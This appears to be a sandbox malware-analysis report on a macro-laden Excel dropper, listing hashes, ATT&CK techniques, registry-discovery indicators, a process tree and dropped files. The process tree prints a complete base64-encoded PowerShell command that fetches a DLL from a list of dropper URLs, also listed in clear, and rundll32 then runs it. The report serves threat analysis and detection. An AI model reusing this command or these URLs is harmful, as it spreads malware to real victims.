986a28cc6b6165931375401925849e4182df92e8468fadfca7695d70f49a8213

General

Target

986a28cc6b6165931375401925849e4182df92e8468fadfca7695d70f49a8213.xls
Size

122KB
MD5

2136126af329fdbbe2daa91c818cf987
SHA1

dea8921d1758aacb5a55d804280a8f0f089278ff
SHA256

986a28cc6b6165931375401925849e4182df92e8468fadfca7695d70f49a8213
SHA512

2d264fa369b07ab69c8843502b1e6adaf2a8dfd4f85cafb6f58893761895bf6546e25729d5e6a149b3787f3cc4f0c22e82867c1468223d8944757dd4ab585d4d
SSDEEP

3072:YOehv7q2Pjx45uoDGTj+5xtekEvi8/dgZBFoTLTmxW5WxVe+41WsdiXUchlL:xehv7q2Pjx45uoDGTj+5xtFEvi8/dgZ3

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

wscript.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2924	3772	wscript.exe	EXCEL.EXE

Blocklisted process makes network request 5 IoCs

Processes:

powershell.exe

flow pid process

12 1912 powershell.exe
26 1912 powershell.exe
32 1912 powershell.exe
35 1912 powershell.exe
44 1912 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

wscript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation wscript.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
discovery

System Language Discovery
T1614.001

Processes:

rundll32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe

flow	pid	process
12	1912	powershell.exe
26	1912	powershell.exe
32	1912	powershell.exe
35	1912	powershell.exe
44	1912	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation	wscript.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3772 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1912 powershell.exe
1912 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1912 powershell.exe

pid	process
1912	powershell.exe
1912	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1912	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE
3772	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

EXCEL.EXEwscript.execmd.execmd.exe

description	pid	process	target process
PID 3772 wrote to memory of 2924	3772	EXCEL.EXE	wscript.exe
PID 3772 wrote to memory of 2924	3772	EXCEL.EXE	wscript.exe
PID 2924 wrote to memory of 2444	2924	wscript.exe	cmd.exe
PID 2924 wrote to memory of 2444	2924	wscript.exe	cmd.exe
PID 2444 wrote to memory of 1912	2444	cmd.exe	powershell.exe
PID 2444 wrote to memory of 1912	2444	cmd.exe	powershell.exe
PID 2924 wrote to memory of 2184	2924	wscript.exe	cmd.exe
PID 2924 wrote to memory of 2184	2924	wscript.exe	cmd.exe
PID 2184 wrote to memory of 1140	2184	cmd.exe	rundll32.exe
PID 2184 wrote to memory of 1140	2184	cmd.exe	rundll32.exe
PID 2184 wrote to memory of 1140	2184	cmd.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\986a28cc6b6165931375401925849e4182df92e8468fadfca7695d70f49a8213.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3772
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\oue4hjld.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\bhnasleil.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1912
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
      4⤵
      System Location Discovery: System Language Discovery
      PID:1140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m0w5g43k.ljw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
526f526f851c30c292426bd4cc5e368f

SHA1
9023b0c186d6864ce306fcce797d249513fd3e6b

SHA256
737e55e0a612a9b1435022d45f2c73fd985e16f41d75ba6b43776796f028e8f4

SHA512
6917054373ab4bc9ae68a7fb83a8dd006192f75dd5dfc7d2d13ac00f788c0985a3ae6fbe808b90b1c06dc1cf25bcb7db500ff7ad2439ca7dd3e6e846e8580523

Download Submit
C:\programdata\bhnasleil.bat

Filesize
3KB

MD5
0f96848827a2960f874bcf613ce1e72c

SHA1
d936a765910adaf627fc6459716847fd87595ea2

SHA256
9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

SHA512
00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

Download Submit
\??\c:\programdata\oue4hjld.vbs

Filesize
604B

MD5
a0e5c8b0ad3da42bf6952871a41bf5e8

SHA1
cd2106ebaf43d596057457e87cf4c8482e246005

SHA256
5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

SHA512
c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

Download Submit
memory/1912-191-0x0000015251580000-0x0000015251680000-memory.dmp

Filesize
1024KB

Download
memory/1912-170-0x0000015251A80000-0x0000015252226000-memory.dmp

Filesize
7.6MB

Download
memory/1912-168-0x0000015238CC0000-0x0000015238CE2000-memory.dmp

Filesize
136KB

Download
memory/3772-8-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-143-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-1-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp

Filesize
4KB

Download
memory/3772-12-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp

Filesize
64KB

Download
memory/3772-7-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-13-0x00007FFDAECD0000-0x00007FFDAECE0000-memory.dmp

Filesize
64KB

Download
memory/3772-6-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-15-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-16-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-18-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-17-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-14-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-20-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-51-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-113-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-10-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-139-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-11-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-9-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-2-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

Filesize
64KB

Download
memory/3772-3-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

Filesize
64KB

Download
memory/3772-169-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-4-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

Filesize
64KB

Download
memory/3772-171-0x00007FFDF0E4D000-0x00007FFDF0E4E000-memory.dmp

Filesize
4KB

Download
memory/3772-172-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-180-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-184-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-185-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-189-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-190-0x00007FFDF0DB0000-0x00007FFDF0FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3772-5-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

Filesize
64KB

Download
memory/3772-0-0x00007FFDB0E30000-0x00007FFDB0E40000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads